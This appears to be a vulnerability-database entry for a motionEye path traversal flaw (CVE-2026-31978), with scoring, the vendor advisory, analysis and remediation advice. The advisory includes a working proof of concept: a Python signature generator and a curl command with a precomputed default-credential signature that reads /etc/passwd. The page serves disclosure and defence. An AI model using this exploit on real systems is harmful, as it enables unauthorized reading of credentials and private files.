Skip to main content

motionEye CVE-2026-31978

| EUVDEUVD-2026-39078 MEDIUM
Path Traversal (CWE-22)
2026-06-22 https://github.com/motioneye-project/motioneye GHSA-g9fx-5r4h-pcw3
6.5
CVSS 3.1 · Vendor: https://github.com/motioneye-project/motioneye
Share

Severity by source

Vendor (https://github.com/motioneye-project/motioneye) PRIMARY
6.5 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
vuln.today AI
6.5 MEDIUM

Network-exploitable via HTTP requiring only a valid user credential (PR:L); confirmed impact is file read only with no integrity or availability effect.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/motioneye-project/motioneye).

CVSS VectorVendor: https://github.com/motioneye-project/motioneye

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 22, 2026 - 17:51 vuln.today
Analysis Generated
Jun 22, 2026 - 17:51 vuln.today

DescriptionCVE.org

Summary

motionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like /picture/{id}/preview/{filename}. Neither the API handlers, nor the mediafiles.py functions like get_media_preview() check for .. sequences in the filename parameter, except get_media_content() which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user.

Details

The get_media_content() function properly validates the path:

python
# mediafiles.py ~line 506 - SAFE
def get_media_content(camera_config, path, media_type):
    target_dir = camera_config['target_dir']
    full_path = os.path.join(target_dir, path)

    if '..' in path:
# <-- PATH TRAVERSAL CHECK PRESENT
        return None
    ...

But get_media_preview() does NOT:

python
# mediafiles.py ~line 910 - VULNERABLE
def get_media_preview(camera_config, path, media_type, ...):
    target_dir = camera_config['target_dir']
    full_path = os.path.join(target_dir, path)
# <-- NO '..' CHECK
    ...

Similarly, del_media_content() at line ~865 is also missing the check. This is a classic inconsistent fix pattern.

The exploit requires %2F-encoded slashes (..%2F..%2F) which Tornado's URL router does NOT normalize - it passes the raw ../ through to os.path.join().

PoC

Step 1: Authenticate as any user (normal or admin).

Step 2: Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is SHA1("GET:<path>?_username=<user>::<password>"). With the default empty admin password:

python
#!/usr/bin/env python3
"""Signature generator for motionEye path traversal PoC"""
import hashlib, re, urllib.parse

_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]\":, -]', re.DOTALL)

def compute_signature(method, path, key=''):
    parts = list(urllib.parse.urlsplit(path))
    query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']
    query.sort(key=lambda q: q[0])
    query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
    query = '&'.join([(q[0] + '=' + q[1]) for q in query])
    parts[0] = parts[1] = ''
    parts[3] = query
    path = urllib.parse.urlunsplit(parts)
    path = _SIGNATURE_REGEX.sub('-', path)
    key = _SIGNATURE_REGEX.sub('-', key)
    return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower()

path = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin'
sig = compute_signature('GET', path)
print(f'Signature: {sig}')
print(f'curl --path-as-is -s "http://TARGET:8765/{path}&_signature={sig}"')

Step 3: Send the request using curl --path-as-is (the --path-as-is flag is required - without it, curl normalizes ..%2F and collapses the traversal before sending):

bash
# With default empty admin password, the signature is static:
curl --path-as-is -s "http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c"

Step 4: The server returns the contents of /etc/passwd.

Verified output:

<img width="1743" height="410" alt="etc_passwd" src="https://github.com/user-attachments/assets/30ec85f7-4fe7-4d3b-ae23-1d02c3ecad64" />

> Note on the signature value: The signature 8b387100a519c617bdd66fe629d14b05e09c6e0c is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the key parameter.

Impact

An authenticated user (normal or admin) can read arbitrary files from the server, including:

  • /etc/passwd - user enumeration
  • /etc/motioneye/motion.conf - admin password hash, surveillance password in plaintext
  • /etc/shadow - password hashes (if running as root, which is default in Docker)
  • SSH keys, environment variables, and other sensitive configuration files
  • Surveillance footage from other cameras

AnalysisAI

Path traversal in motionEye v0.43.1 allows any authenticated user - including those with normal (non-admin) privileges - to read arbitrary files from the server filesystem via the picture and movie preview API endpoints. The root cause is inconsistent input validation: get_media_preview() and del_media_content() in mediafiles.py omit the .. sequence check that get_media_content() correctly implements, and the Tornado web framework passes percent-encoded slashes (%2F) through unmodified to os.path.join(). A fully functional public proof-of-concept demonstrating retrieval of /etc/passwd is published in the GitHub security advisory; no public exploit identified at time of analysis for CISA KEV, but the low exploitation complexity and pre-computable default-credential signature make exposed instances an immediate practical target.

Technical ContextAI

motionEye is a Python-based web frontend for the motion surveillance daemon, built on the Tornado async web framework. The affected package is pip/motioneye (CPE: pkg:pip/motioneye), confirmed vulnerable at versions prior to 0.44.0. The vulnerability class is CWE-22 (Path Traversal), arising from an inconsistent fix pattern within mediafiles.py: get_media_content() (~line 506) validates that the caller-supplied path contains no .. sequences before passing it to os.path.join(target_dir, path), while get_media_preview() (~line 910) and del_media_content() (~line 865) perform the same os.path.join() construction without any such guard. Tornado's URL router does not normalize or decode %2F-encoded forward slashes, so a traversal payload of ..%2F..%2F..%2F..%2Fetc%2Fpasswd reaches the vulnerable function intact and is resolved by the OS path join to an arbitrary filesystem location. motionEye uses an HMAC-SHA1 scheme for API request signing; with the default empty admin password, the signature for any given traversal path is static and pre-computable without access to a secret.

RemediationAI

Vendor-released patch: 0.44.0. Upgrade via pip with pip install 'motioneye>=0.44.0'; Docker users should pull the updated container image pinned to 0.44.0 or later. Vendor advisory: https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g9fx-5r4h-pcw3. If immediate upgrade is not feasible, restrict network access to the motionEye web interface (default port 8765/8766) using firewall rules or a reverse proxy with IP allowlisting - this eliminates network reachability and is the most effective compensating control, though it also restricts legitimate remote access. As a secondary hardening step independent of the patch, configure the motionEye process (and Docker container) to run as a dedicated non-root user; this does not prevent exploitation but limits the files accessible to the attacker, specifically blocking reads of /etc/shadow and other root-owned files. Additionally, setting a strong non-empty admin password removes the static pre-computable signature advantage, requiring an attacker to know valid credentials rather than relying on the default empty-password signature.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Share

CVE-2026-31978 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy